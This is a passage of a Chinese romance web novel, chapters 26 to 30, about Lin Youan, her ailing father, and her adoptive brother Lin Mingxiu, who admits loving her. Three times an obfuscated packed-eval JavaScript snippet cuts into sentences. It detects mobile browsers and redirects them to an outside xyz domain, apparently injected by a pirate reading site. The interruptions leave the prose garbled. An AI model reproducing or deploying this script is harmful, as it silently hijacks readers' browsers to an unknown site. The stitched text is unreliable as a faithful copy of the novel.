“有点好奇员工大会是怎么样的。” “现在看到了,怎么样?” 柚安耸肩,“PU地一手好A。” 林鸣修笑了声,随手松了松领带。 两人边走边说,一起往电梯厅走。 等电梯的时候,不远处有护士低声讨论:“他们兄妹俩站在一起好养眼啊!我都可以脑补出一部电影了!” 声音飘到柚安地耳朵里,她余光去瞟林鸣修,正好撞见他看过来。 目光相触,立刻错开,都有点不好意思。 下到七楼后,柚安先去了趟卫生间,从卫生间回来,往走廊尽头的病房走,远远就看到林鸣修靠在病房外的墙上。 他双手抄在西裤口袋里,西服敞开着,领带松散地挂在脖子上,里面的白衬衣敞开了几颗纽扣,头微微后仰,好像正在享受这难得而短暂的轻松时刻。 就连洒在他身上的夕阳余晖,都显得很温柔。 柚安这才发觉,刚才在八楼,所有人都松懈庆祝之时,唯有他仍保持仪态庄严。 思及此,脚步不自觉轻了几分,不忍打扰。 走到病房门口朝里看了眼,林鹤堂半躺在床上,正和尹晴说话,低声细语,怪亲密的,难怪林鸣修没有进去。 柚安刚想抬脚迈入,忽听尹晴问:“听说刚才柚安哭了,还哭得很厉害?” 她瞬间红温,全身紧绷起来,祈祷林鹤堂帮她遮住这桩糗事。 然而在这方面,父女俩的雷达隔着天堑。 只听林鹤堂详详细细,一字不落将两人的对话讲给夫人听。 激动时语无伦次说的话,被如此复述出来,听得人脚趾抓地,与听指甲划黑板没有什么两样。 柚安在父亲那张永远沉着冷静,不怒自威的脸上,第一次看到了困惑。 当听见他问尹晴:“我没说错什么话吧?上一次见她哭得昏天黑地,是三岁还是四岁?”她已经彻底放弃思考。 夕阳浓稠,流金般流淌在墙面。 林鸣修微微睁眼,先是看到墙上映射出的,两具相贴的影子。 一掀眼,柚安的身影出现在面前,逆光而站,被巨大的暖橘色笼罩,发丝泛着层金色的光晕。 她面向病房,侧身对着他,小巧的耳朵红透,耳廓肌肤薄到可以看清下面细小的血管,那表情一看就是宕机了,令人想到动漫里的蚊香眼。 林鸣修微不可察地笑了笑,心下涟漪浮动,身体却疲累到脱力,矛盾难耐。 连日紧绷,他累到眼皮都不想再动了,原来强顶压力,是这种感觉,若不是此刻心潮荡漾,还以为自己的心,已经枯成石头。 他半阖着眼,任由疲惫翻涌,心头充盈着某种难言的情绪。 多待一会儿吧,他心想,再多陪我一下。 27. 第 27 章 林鹤堂在养和医院住了一周,接着住进泊港公馆。 医生根据基因检测结果,帮他制定了适合的靶向药,恢复的同时,密切关注另一个结节的情况。 媒体稍有松懈,柚安时而回夏山郡居住,那里离Echoes&Elixirs近,方便她进出。 Echoes&Elixirs一切如常,她花了些时间听阿谨汇报,而后阿谨去了前场,她独自在后场办公区翻看流水。 办公桌上摆了一大捧黄玫瑰,花瓶下面压着张卡片,上面写着“对不起”,落款“黎燃”。 柚安瞧着玫瑰,几番深作呼吸,终于下决心给黎燃拨去电话,请他到店里来坐。 将近黄昏,酒吧还没有开始营业,整个场子都很安静。 柚安准备了黎燃爱喝的调制酒,伏特加为基酒,加入西柚汁、接骨木花糖浆和姜汁汽水,表面撒有微量海盐,很适合夏季。 他留海长出来一些,耷拉在眼睛上方。 柚安最想念的是他笑起来,总有种肆无忌惮,天塌了都不怕的感觉,但明显地,此刻只剩下用力伪饰的平静。 黎燃知道她们家的情况,一开口,自然是关心在先。 “我爸过几天会飞过来看望伯父,有什么需要就开口,用得上我的地方,我随时帮忙。” “谢谢你。”柚安轻声说,随后垂眸,思忖着如何开口。 不欢而散之后的首次见面,免不了有一方要道歉。 “对不起。”黎燃率先开口,“那天酒醒之后,我就知道话说过了,错的明明是我……我真的太过了。” “不,不是的。” “其实那个女人我认识,在派对上有过几面之缘,但是记不住对方的名字。我从来没酒后乱性过,完全不记得发生过什么,事后也只想起这些。” 黎燃低下头去,胡乱拨了把头发,眼圈乌青着,看得出这些天,没有好过到哪里去。 他总是一副玩世不恭的态度,不免会让人以为,在性|生活方面也很开放。没想到这方面的道德感,比看起来要重得多。看他这样,柚安更加觉得林鸣修不是个东西。 “这不关你人品的事,”她几分急切,自觉有义务告知他真相,“那个女人,是被人雇来,故意搞你的,照片也是故意照下来,刺激我的。你不想想,一夜情这种事,怎么会有人摆机位拍照呢?至于断片,我猜可能是被下了药。” “对不起。”她心想,都是因为我。 黎燃震惊无比,一时说不出话来。 绞尽脑汁也想不出自己得罪过什么人,要这样搞他。 “那人是谁?你知道是吗!” “我查到的东西有限,”柚安敛眸,“总之跟你没关系,是冲着我来的。” “冲你?那你……有没有什么变态的追求者?”黎燃面露担忧。 “没有。”柚安连忙说,“……没有吧。” 这些天来,想到林鸣修做的这件事,她还是会在深夜从床上坐起,骂一句“变态”。除了事情本身的恶劣,也因为他背后的手段,跟他在人前的行径,跟他对待自己的温柔包容,实在太割裂了。 柚安从一开始就知道他是演员,但他演的每一场戏,她都能够想到动机,只除了这一件。 当晚,她与黎燃聊了许久,矛盾说开,他们还是有很多共同话题。从对此人的诸多猜测,聊到近况,再到音乐,和最近的演出……原来黎燃准备签约港城最大的唱片公司出道。柚安很替他开心,还怂恿他上台唱了两首歌,算是度过了一个欢声笑语的夜晚。 可是由始至终,谁都没有提起复合的可能性。 尽管误会已经解开,仍旧彼此默契地缄口不谈。 仿佛心照不宣地达成了某种共识—— 不管这件事发生与否,他们都不会以恋人的关系开花结果。 黎燃离开已是深夜,柚安也开车回夏山郡。 已经做好一个人守空房的准备,一进门,还是从管家口中得知,林鸣修回了。 柚安说声“知道了”,随后上楼,心说这种事不必告诉我的,但是路过林鸣修书房的时候,还是不经意往门底的缝隙瞄了一眼,一线微光从那缝隙处透了出来。 她停住脚步。 没有办法心安理得回到自己房间,更没有办法忽略掉他的所作所为。 风暴暂歇,潮水褪去,总有东西会遗留在沙滩上,并慢慢探出头脚。 轻敲了两声,将房门推开一线。 林鸣修正伏首在一堆文件之中,昏黄灯光映出他眼下的浅青色,显得脸色愈发苍白。 闻声,他眼皮掀了掀,依旧是八风不动的冷淡神色,却无端显得疲惫而单薄。 自林鹤堂入院,四海的股价一直动荡,大伯一家对自己的狂轰滥炸尚令人头疼,遑论对林鸣修的动作? 按照原本的轨迹,林鸣修至少还有二十年的时间为这一刻作准备,林鹤堂突如其来地一病,大手一挥将他提前推到风口浪尖,无异于将失怙的小狼丢到野兽环伺的丛林,让他站在人人觊觎的高位,成为活靶子,其压力可想而知。 “怎么了?”林鸣修隔着书桌问。 柚安悄悄攥了攥拳,将心中的些许不忍前行收起,“不是说要教我?还算数吗?” “打算叫哥哥了?”林鸣修将文件夹推到一边,神色稍有放松。 柚安自知莽撞冒犯,不经允许就推门而入,在他深夜伏案的时候提出荒谬的请求。然而他总是容忍,有求必应,因而她的冒犯,也一次比一次故意。 她绕过书桌,走到他身边,双手撑着办公椅的把手,倾身逾越安全距离,似笑非笑地看住他。 眼中凝着深黯的颜色,像诱人深陷的潭水。 “叫哥哥就教我吗?” 第一次如此近距离地直视林鸣修,她发现,再禁欲的一张脸,也藏不住某些生理性的破绽。 譬如此刻,他脊背紧绷,贴紧了椅背,脖颈一道青筋慢慢爬出来,耳廓也渐渐红起来,在那张白皙冷淡的脸上,显现出不和谐的涩感。 再靠近一步,抬手将他的眼镜取下来。 “你的眼镜有度数吗?”她作势要戴在自己脸上。 没有那一层镜片的阻隔,她的进攻更加肆无忌惮。长久注视他的眼睛,就像那天在天台上,他摸着猫问她和黎燃在一起,是否真的幸福时一样。 那个时候,他怀着事先就知道的答案,长驱直入地审视她。 而现在,换她拥有这份复仇的快感。 两相对峙,有秘密的人先慌神。 这是必然的,林鸣修深埋已久的秘密,已被柚安摸索到了门前,他设计了重重的机括关卡,而她本身就是密码。 面对城池即将被攻破,他的反应是眸色更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15895370|174562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷,一手扣住柚安手腕,另一只手不由分说地将眼睛夺回来。 然而那一刹的慌神,还是被柚安捕捉到了。 隐秘的快感并没有因此而扩大,反而在就要触及到真相之前,她本能地撤了回来,带有些逃避性质地退出了过分亲密的距离。 “好累啊,我睡觉去了。”她转身,大步走出门去。 林鸣修没有看她,等到关门声过去许久之后,才兀自地说:“林柚安,你真的很怂。” 至此,柚安大半个月都没有再见到林鸣修。 不管是在夏山郡,还是在泊港公馆。 林鸣修忙得天昏地暗,港城深圳两边跑,根本见不到人,少数他回家的日子,也因作息差而错过。 关于他的消息,有一部分居然还是从媒体上得到的。 林鹤堂神隐之后,林鸣修这种年纪轻轻坐上金字塔顶端的新贵,怎么能不受媒体追捧?再加上其气质风度非凡,随便一张照片出现在金融报刊杂志上,都会让人误以为是娱乐杂志,或是电影里的某一帧。 一时间,他成为了港圈八卦记者争相竞逐的对象。 柚安早上就在《爆周刊》上,看到了一篇题为《爆轰!金融新贵玩好野,暗巷战衣震散纽扣实录!》的新闻,而配图只不过是林鸣修与秘书停车在巷口,等Kim下车买咖啡时被偷拍的一张糊图,脸都不甚清晰,倒是林鸣修松开的衣襟处,洁白的锁骨相当显眼,那延伸到胸口的深V型,叫人遐想连篇。 这天晚上,她刚到Echoes&Elixirs,就听阿谨说林鸣修来了。 她“哦”了声,往后场走。 今天的音乐风格靡丽,灯光也配合得非常晦暗。穿越端着酒杯扭动腰肢的男男女女时,柚安不禁想象林鸣修穿着解了三颗纽扣的白衬衣,和包裹合衬的西裤,大步经此处走向后场时的样子。暧昧的舞池灯光游曳到他脸上,是如何一副诱人醺醉的画面。 也许会有喝醉的女人投怀送抱,毕竟晦暗的光线保护了他的身份,却不能掩盖他天菜的气质与外形。 他大概不会流连,他会轻轻推开黏上来的人,动作绅士,脚步不停。 她一边走一边想,想到这里,已经到达安静地后场区域。 推开办公室大门,林鸣修正躺在沙发上睡觉。 他穿着和柚安想象中一模一样的衬衣和西裤,领口V字型敞开,领带随意挂在沙发靠背上。 “倒是会躲狗仔,找到我这么好的地方。”柚安哼了声说。 沙发上的男人没有回应,他呼吸深沉,应该睡着有一会儿了,眉头却轻微锁着,给人生人勿进的感觉。 柚安没有再做打扰,信步走到办公桌前坐下,看进货单,核对账目…… 音乐像烟雾般飘荡在办公区上空,今晚的女歌手有一把慵懒的烟嗓,将歌唱得情欲交织,听得人醺然。 心神浮荡,像是被托举到半空中,落不了地。 几次强行集中注意力失败后,她终于将目光从枯燥的账本中移出来,落到沉睡的男人脸上。 “喂?” “顾鸣修?” “真睡着了?” …… “顾鸣修,你是不是喜欢我?” 声音像游丝般的雨幕,缥缈又空濛。 拜托你是真的睡着了,又或者假装没听到,因为我绝不会再问第二次。 28. 第 28 章 五、四、三、二、一……柚安在心里倒数。 数到最后一个数字的时候,林鸣修缓缓地睁开了眼睛。 柚安的心跳猛然惊落一拍。 只见他支起身体坐好,抬眸看向自己,说:“是。” 柚安瞳孔骤然睁大,脱口而出:“你有病啊,你是我哥!” 不是没有心理准备的,只是她以为即便林鸣修承认,也会是一副“你能拿我怎么样”的态度,就像那天在书房,将她逼到门上时一样。 而不是现在这样,平静到几乎没有情绪,甚至有种抵抗到绝路,丢盔弃甲的认命感。 “林柚安,你有把我当过哥哥吗?”他用自嘲的语气问。 “我……那不重要。你现在这么出名,想想舆论会怎么说?八卦周刊可不会查你户口簿,他们什么故事都编得出来!还嫌局面不够乱吗?还是嫌树敌不够多,上赶着要给人家送把柄?” 柚安慌乱地收回目光,忽然她心想,为什么第一反应是旁人,而不是自己的感受? 这样一想,竟倏地卡了壳。空气一下子凝固,林鸣修始终看定她,他知道这家伙远不像看起来那么随性恣意,实则胆小又脆弱,跟爱把脑袋埋进沙里的鸵鸟,没什么两样。 而且她逞强的样子,真的很好笑。 他勾了勾唇,就在这时,听见柚安说:“可是我不喜欢你。” 她终于让自己冷静下来,几分轻蔑地看着他。 林鸣修轻笑,“这很正常,难道两个人正好相爱,是什么大概率的事情吗?” “……” 柚安耳根子被烫了一下,因为他陡然将喜欢升级成爱,亦因为不被爱的那个,自己也当过。委屈、难堪、痛苦,一样没少经历,到头来却是一场空。 而他说,那很正常。 仿佛乐得被伤害一样。 她一下子失去了憎恶的资格。 就连嘴角那一抹轻蔑,都不再有立场。 “你藏多久了?”直觉告诉她,他不是一时兴起。 “很久。”林鸣修回答。 “具体多久?” “不会让你知道的。” “……那怎么,突然就藏不住了?”她将账本立起来,手撑在上面,遮住半张脸,“因为我跟黎燃在一起?” “嗯。”林鸣修坦然承认,即便他心里知道,就算没有黎燃,那些扭曲的心事,或早或晚也会将他逼疯,要么彻底爆发,要么拉着他拽着他,让他彻底深陷于阴暗。 “下次谈恋爱,别在我跟前晃。”他轻描淡写地说。 柚安哼了声,“再谈恋爱,你还是会搞小动作的。” “看心情。”他无所谓地一笑。 柚安下意识咬唇,理应要发火的,血都冲上来,却又发作不起来,呈现在林鸣修身上的某种无力感,实在太熟悉了。 至此,柚安更加刻意地避开林鸣修,就连那番对话,也刻意地不去想—— 想了也消化不了。 索性对方识趣,且诸事缠身,真的没有在她面前出现过。 重阳节,林鹏海打着亲人团聚的名义,宴请林鹤堂一家。 地点选在两家人常去的会所,晚上六点,柚安直接从酒吧开车前往,大伯一家来的只有陈静淑和两个小儿子。 不久,林鸣修也将林鹤堂夫妻接了过来。 尹晴奇怪地问陈静淑:“大哥呢?” 陈静淑生气地挽着尹晴告状,“他跟景琛在澳门办事,被绊住了,估计一时半会儿脱不开身,老头子应酬起来,被灌几杯酒就不知道东南西北了,我们聚,别管他。” 话是这样说,但表情是掩饰不住地高兴。 林鹏海好赌是众所周知的,他不时跑到澳门玩儿两把,缺席自己喊起来的家宴,再加上陈静淑这副得意忘形的样子,多半是手气好,赢得舍不得下桌了。 尹晴依着陈静淑的话,应付了两句,两家人就林鹤堂的身体状况一番寒暄,气氛像从前一样地融洽。 林鹤堂一家虽是客,林鸣修还是像以往那样,承担了大部分的协调工作—— 就连找经理核对菜单,确认没有林鹤堂不适合的食物或是调味这种事情,也是他亲自去做。 一群人入席时,他也是最后一个坐下的。 即便他如今是CEO,也没有放下这些习惯,似乎在家里,始终还是那个前来投奔的外姓人。 他绅士周到,却不显得刻意招摇或是讨好,举重若轻地,叫人意识不到他的服务。 柚安却不得不注意到。 连带着他承认喜欢她的那个晚上,也无法控制地一再浮现在脑海里。 从小到大,追求过她的人众多,对于不喜欢的人,她眼睛长在头顶上,拒绝或伤害的话,不费丝毫气力。 如今却要不停地斟酌,该用什么样的态度对待林鸣修,就连他从面前经过,都会不自觉紧张一下,好像做错事的,是她一样。 吃着饭,两家人不免要提起四海的现状。 四海现在面临的最大问题,是一家名叫海宇资本的公司一直在趁低买入股份,现在四海的股价一直在跌,那家公司吸入了大量股票,这不得不引起董事会的恐慌。 柚安听林鹤堂说过,所以尚且跟得上聊天的节奏。 现在公司里的状况,林鹤堂都很乐意告诉柚安,即便只是以最亲切易懂的说法,将水面上的小部分告知于柚安,也足够让她头疼的。 面对这种状况,本该保守行动,保住股价的林鸣修,却反其道行之,欲要收购一家规模不小的文旅公司,名叫乘风集团。这更惹得董事会责难连连。 背后的林鹤堂却百分之百赞成,因为这样做,是防着海宇资本一朝吃饱喝足,对四海发起收购。 若那时,四海已经成功收购乘风集团,可免于被海宇收购的危机。 同时,收购文旅产业,也能很好地助力四海发展,甚至可以拿到土地开发权,开发文旅□□。 柚安还记得,那个时候,林鹤堂以《吃豆人》的游戏跟她解释:“怪物追逐Pac-Man时,Pac-Man可以吃掉能量丸,反过来吃掉怪物。” 当时听得津津有味,但是后面想起来,只觉得林鸣修要面对的问题,比登天还难。 林景昀给林鹤堂斟好茶,看向林鸣修,“大哥,收购乘风还顺利吗?我听说对方意向不大,这关头……要不缓缓?” 没等林鸣修回答,陈静淑也出声,她是冲着林鹤堂的,“上次和容岑夫妇在宴会上碰到,也说起这事了,他们对鸣修新官上任三把火的做法,可是说了不少难听的话,说以四海现在这境况,硬要吞乘风,胃口不小,牙口够硬吗?鹤堂你也不拦着鸣修一点。” 程容岑便是乘风集团的创始人,与林鹤堂年龄相当。 柚安悄悄瞥向父亲,他苦笑了下,“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“咳咳——”柚安不小心噎了一下,手握着筷子,用力攥紧,只见身旁的林鸣修转眸看向她,嘴角呷着笑意。 她的名字从他嘴里送出来: “柚安——” 柚安心想:有病吧! 握得太紧,两根筷子在手里打架,夹住的花蛤落到汤里,溅了她一身。 这个时候,听见林鸣修的声音说:“可以帮我递一下椒盐吗?” 柚安没抬头,慌忙抬手将椒盐罐子推过去。 林鸣修拿过罐子的同时,一张纸巾被塞进她手里,力道不轻不重。 柚安愣了会儿,才发现胸前洇湿的污渍,赶忙拿纸巾擦。 “谢谢。”声音有些发干。 “不客气,谢谢你递盐罐。” “不客气。” 林鸣修不徐不疾地将椒盐洒在菜上,这才回应尹晴的玩笑。 “没有。” 简单直白的两个字,淡漠的语气和表情。 叫人没有办法再将这个玩笑开下去。 柚安这顿饭吃得忐忑,有种身在枪林弹雨中,明明无辜,却分分钟就要被流矢误伤的紧张和委屈。 听见林鸣修说“没有”,一股无名火窜上来,在桌子底下狠狠跺了他一脚。 耳边听到轻轻一声“嘶——”,这才稍感快慰。 29. 第 29 章 重阳过后,港岛结束连绵的雨季,进入旱季开端。 干爽的空气带来初秋的凉意,酒吧生意兴隆,父亲的病情也趋于稳定,一切向好。 柚安在六点钟起床,朝着窗外的桂树伸了个懒腰,在桂花的清冷香气中呆坐了五分钟,决定重新开始写歌。 某扇锁死的大门被轻轻推开一条缝,无数的灵感争先恐后涌出来,仿佛沉睡已久,一朝受到召唤,便欲罢不能。 拖着步子起床洗漱,脑袋逐渐充盈,沉甸甸的,横冲直撞的灵感压得人眼皮都疼。 于是就在林鸣修身着黑色正装,一边扣紧腕表一边走出房间,往楼梯走时,迎面看到叼着牙刷,穿着蓝绿条纹睡衣,一副神经质模样的柚安冲过来。 多年训练出来的本能驱使,林鸣修急侧了个身,才不至于撞个满怀。 擦身而过时,薄荷淡香飘在林鸣修的鼻尖,他看见她嘴角的未擦净的白色泡沫。 “抱意思——”柚安含糊抛出话,像只兔子冲进乐器室。 林鸣修冲着她消失的方向,扣好腕表后静静站立了数秒,随后往乐器室走去。 门没来得及关,他站在门口,只见柚安坐在地上,怀里抱着吉他,正在试某段旋律。 她嘴里哼哼着,牙刷仍叼在嘴里,仿佛一拿出来,灵感就会飞走似的。 这就是她的创作状态吗? 林鸣修静静地笑了笑。 商场上的硝烟在这一刻按下暂停键。 后来,在数场会议与谈判中,他屡次想到这个早晨。那时候,一定笑得前所未有地猥琐。因为真心笑起来的感觉,对他来讲已经太遥远了。 那笑容玷污了那段旋律,他的存在也玷污了那个美好又可爱的画面。 如此卑微的想法反复碾压过他,仍挡不住他反复分神,去回味那个早晨。 一周后,新歌初具雏形,柚安在自己的酒吧里登台演唱。 如今大部分客人都是熟客,音乐圈的居多。听说这一晚柚安登台,圈子里奔走相告,酒吧早早就人声鼎沸。 追光打下来,居然没有任何紧张,唱自己写的歌,原来是那么理所当然的事。 一曲从容结束,收获了无数的掌声。 甚至还有追求者趁机献花送礼。 柚安收了花,退回了昂贵的赠礼,回到后场,将花里暗藏暧昧的小纸条掀进垃圾桶。 阿谨问她:“万一里面有良缘呢?” 柚安心不在焉地说:“哪有心思管这个?” 现在满脑子都是尚未成型的歌,一唱就知道哪段旋律要完善,哪句词要斟酌,灵感又开始跃跃欲试。 就这样,她连着唱了一星期,夹杂着几首之前老歌。 歌的版权还在前经纪公司,老板陆野的手上,但他应该不屑跟她算账吧。 港岛和大陆的娱乐圈虽说生态有异,但底层那点事,还是通的—— 凡有热度,皆有价值。 因此对于这个曾在内地搞出那么大“桃色新闻”的退圈歌手,港媒自然没有放过。 连着唱了三天之后,八卦刊物上就出现了“林柚安沉寂三年之后,悄然复出”的标题,新闻很快便被不知名的力量压下去了,柚安知道是谁的手笔,也没有在意。 但是压不过蛛网般缔结的网友,消息还是沿着网络在港岛和内陆传播开来。 第七天的时候,慕名前来的人已经不止于小众的圈子,还有粉丝,和看热闹的网友。 阿谨一再加强安保和入场限制,还是控制不住,柚安心想,那就暂时不唱好了。 一想到那些在蛛网上发散的八卦里,少不了辛辣刺激的杜撰诋毁,心里就犯了恶心,连带着唱歌也失去了兴致。 第八天的演出海报挂了其他的乐团,她没有出现在台上,夜里十二点,等到聚集的人流减少,才打着哈欠从后门出去,独自开车回夏山郡。 长街寂静冷清,秋风滚过,柚安紧了紧单薄的外套。 “嘀嘀”两声解锁了车门,伸手开门时,一桶凉得刺骨的冰水自头顶倾盆而下,顺着脖颈灌入衣服里面。 她吓傻了,耳边传来两句骂得很脏的话,那人应该是喝醉了,舌头都捋不直。 下一秒,酒吧的安保就冲了出来,追着两个头发染得五颜六色的不良少年远去。 不知道还有没有同伙埋伏在周围,柚安一刻等不了,锁死车门一脚发动油门。 黑粉吗?曾经也遇到过。 即便是不出那种新闻的时候,也遇过跟车,尾随,寄恐怖信件的极端歌迷,更别提声名狼藉之后。 狭小的车内环境让她平复下来,但不确定有没有人跟车,所以她不敢停下来。开到夏山郡入口时,又害怕如有尾随,将她家里地址,真实背景挖出来,引来更多麻烦,只好硬生生错过,在周围漫无目的地转了好多圈,直到精疲力尽,实在开不动车了,才往家驶去。 身上的液体闻着像酒,如果是冰镇啤酒,那也太给我面子了,最好是Echoes&Elixirs出品,她心想。 不是硫酸也不是红油漆,等到阿谨抓住他们,私了算了。 即便开始头痛,浑身酸痛,模糊的思绪里,她依旧认定阿谨一定会抓住他们,因为他背后是林鸣修,朝她泼一杯水,也会被他追到天涯海角。 凭什么这么笃定呢?这样想过之后,又不自觉问自己。 他们的关系早已变了,日理万机,忙得不见人影的代理CEO大人,还会关注她这点破事吗? 会的。 回答的声音比提问还早,仿佛亘古不变。 下车走进家里大门,等在门口的管家看她浑身淋湿的模样,大惊失色,忙问她怎么了。 “麻烦叫Dr.Chen来一趟,我有点头痛。” 柚安脚步不停,趁还有意识,大步回房洗澡更衣。 一切做好躺到床上,医生也来了,初步诊断是受了风寒,外加惊吓,发烧了。 换下来的衣服被医生带走化验,佣人们退去,柚安服下药片,浑身发汗,裹在被子里,睡睡醒醒,不时打冷颤。 一直睡不好,她摸到手机,随便播了首歌。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15923132|174562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那歌很难听,她也并非想听,只想来点声音,填充这空荡的夏山郡。 哎,人在病时尤觉得孤独。 这种状态不知持续了多久,她听见有人进门,走到她床前。 脚步很轻,存在感却很重,那种感觉很微妙。随着他走近,有种暴露在冰天雪地的心脏,被一床棕色的薄被,一点点覆盖住的奇异感。 半睁开眼,林鸣修刚好落座。他坐在床边的椅子上,手肘支着膝盖,目光轻轻地投射过来,眉心微皱。 “哦,就这样长驱直入了,你真的是一点也不装了。”她声音微弱沙哑,随手关掉了令人煎熬的音乐。 “野心全都暴露给你听了,还夹着尾巴做什么,”林鸣修笑,“况且你进我房间,哪次不是长驱直入?” 真记仇。 她闭上眼睛不想理他。 床头一盏微弱的小夜灯,胡桃夹子人偶无力地靠在夜灯的支柱上,黯淡的光线下,她的脸像被火灼烤,浮着两团不自然的红晕,发丝被汗液打湿,水藻般贴附在额头上,一呼一吸都很吃力,表情却不见得有多痛苦,好似习以为常,经验老道。 他还记得那个刚满五岁,经常跟在他屁股后面的小妹妹,她看到毛毛虫都能笑成一朵太阳花,有多爱笑,生病时就有多爱哭,吃药哭,打针哭,睡觉难受也要哭。 他被爸妈牵着来夏山郡玩,在一楼就能听到她卧室里撕破天际的哭声,晴姨说:“不巧,妹妹今天发烧了,你要上去看看她吗?” 十岁的小少年捏着衣角,心里着急,却不敢动一下,于是紧张地摇了摇头,从此再也不敢惹她哭。 所以,时间是怎么改变她的? 离开家的那些年,她是不是也这样,独自熬过一个个生病的夜晚? “林柚安,在国外是怎么照顾自己的?”他低低地问。 床上的人眼睫轻颤,半晌,不耐烦地说:“爸这么有钱,怎么能苦得了我?” “有没有钱,跟懂不懂得照顾自己,是两件事。” 柚安眼睛缓缓睁开一条缝,没说话。 身体一会儿冷一会儿热,顾不上情绪上的起伏。 林鸣修指尖动了动,将要抬手时,迟疑了一下。 “柚安,我可以探你额头吗?”他努力不让声线颤抖。 柚安眼睛眨了眨,上下眼睫相碰,像打湿的蝴蝶翅膀。 她没有说话,他便当作默许。 抬手覆上她额头,滚烫的程度如他所料,他希望他的手能够冰一些,但很不幸地,他全身都在不可抑制地升温。 四周静静地,窗外虫鸣都那么清晰。 柚安开始后悔关掉了那首难听的歌,但不久,她便感觉到困了,覆盖在心脏上方的薄被逐渐被温水打湿,整颗心脏被包裹在柔软的水里,晃晃荡荡,逐渐失去重量。 无暇去计较这样的触碰算不算逾矩,就这样沉沉睡去了。 意识弥留之际,她只觉得那只手覆在额上的时间,远超过了探温所需,记忆的末端,它拂过脸颊,将粘腻的发丝拨开,指腹炙热而温柔。 30. 第 30 章 掌心掠过她的脸颊,停在红得发烫的唇上,她已熟睡,呼吸逐渐深沉。 仅止于此了,林鸣修。 他僵硬地收回手去,发现在谈判桌上割让三亿标的都稳如磐石的手,如今竟过电般微微发颤。 你不行啊。 他自嘲地一叹,深深靠入椅背。 柚安睡到第二天十一点多,醒来时身体已经舒爽了很多,周身酸痛褪去,头也不痛了。伸个懒腰,一股脑坐起来,看到林鸣修歪在床前的椅子上,还没有醒。 阳光从窗外洒进来,原来他的睫毛这么长。 柚安睁大眼睛,仔细看了两秒,他醒了。 “……早。” “好些了吗?”林鸣修坐正。 潦草的一觉方醒,他却没有一丝狼狈,起身就可以出席商务论坛的感觉。 “好多了。”柚安跳下床,不许乱七八糟的想法生根发芽。 只要动作够快,这些想法,连同昨晚种种,都可以当作没发生过。 步子迈得很大,往洗漱间走去,手却从后被抓住一带,力道不大,却足以使她失去重心,跌坐到床上。 她惊愕抬头,撞进林鸣修的视线中。 相隔很近,他浓密的睫毛像墨色的鸦羽,眸色深邃却温和。 他抓着她手腕,倾身,另一只手探她额头。 她呼吸一滞,像被施了定身咒。 怎么敢?! 心里在骂,身体却诡异地静止。 然而这次探温极短,触感一瞬即逝。 “退烧了。”他放开她,“下次遇到这种事,停车,等我。” 柚安“哼”了声,“谁知道你在深圳,上海,还是华盛顿?等你我完了。” 不等他回答,她冲进洗漱间,飞快关上了门。 水龙头放水,哗啦啦流个不停,她手背贴在额上,看着壁镜中,顶着一头乱发,没有血色的脸,恍了好一会儿神。 再出来时,林鸣修已经不在房间了。床头柜上留下一个小巧的药盒,Dr.Chen留下的几种药被分门别类装好,里面整好是七天的量。 柚安放在手里把玩了下,将其装进包里。 吃过早饭,急匆匆拎包出门。 管家追在后头:“病还没好,让司机送吧。” “伤风感冒算什么病。”柚安不予理睬。 车停在Echoes&Elixirs门口,先去隔壁花店买一束喜欢的风铃花,换掉办公桌上寿命已尽的花束,那些还是演出时收到的。 阿谨他们看到柚安抱着一束鲜花,笑容嫣然地走进酒吧,都十分意外。 出了这种事,大小姐说什么也要在家休息几天,定惊养神的,不养神也总要避避风头,最近Echoes&Elixirs可算是烽烟四起。 她反而神采奕奕,跟没事人一样,走路都带着风。 阿谨交代了身边人两句,跟随柚安进了后场办公区。 柚安打理好花,问阿谨那些人抓到没有,阿谨给她看了几张照片,五个发色张狂的年轻人被赤身裸|体绑在中环码头的柱子上,全部都失|禁了,周围是前来认领他们的父母亲戚朋友。 身上倒是没有伤痕,只是脸色一个比一个想死,恨不得当场坠海。 她想起早餐时接到Dr.Chen的电话,被告知液体是一堆酒精饮料的混合物,不惧毒性。 于是稍作安心,让林鸣修不要将事闹大,私了算了。 对方干脆地答应了,那模样称得上温良。 没想到,这就是他私了的方式。 “他们其中一个是您的黑粉,当晚喝了酒,不知道天高地厚了。呐,红头发那个,才刚满十八岁,”阿谨指着照片,“问他为什么当黑粉,他说当年拿您当女神膜拜,没想到……” “好了,不说这个了,晦气。”柚安将照片掀到一边。 “对了,不知道该不该说……”阿谨看了看柚安脸色,她尚没有生气的迹象,于是他继续说,“昨天林总是大半夜乘直升飞机,从深圳赶回来的,他交代以后出这种事,人力要首先放在您这边。对不起,昨天安保都急着抓人,我找您时,看到您自己开车走了。” 阿谨低下头,样子十分自责,看来被林鸣修教训过。 而且,他真的从深圳飞回来…… “这人大惊小怪惯了,你就当他放屁,”柚安面上若无其事,“……他应该,还安排了人暗中跟我吧。” 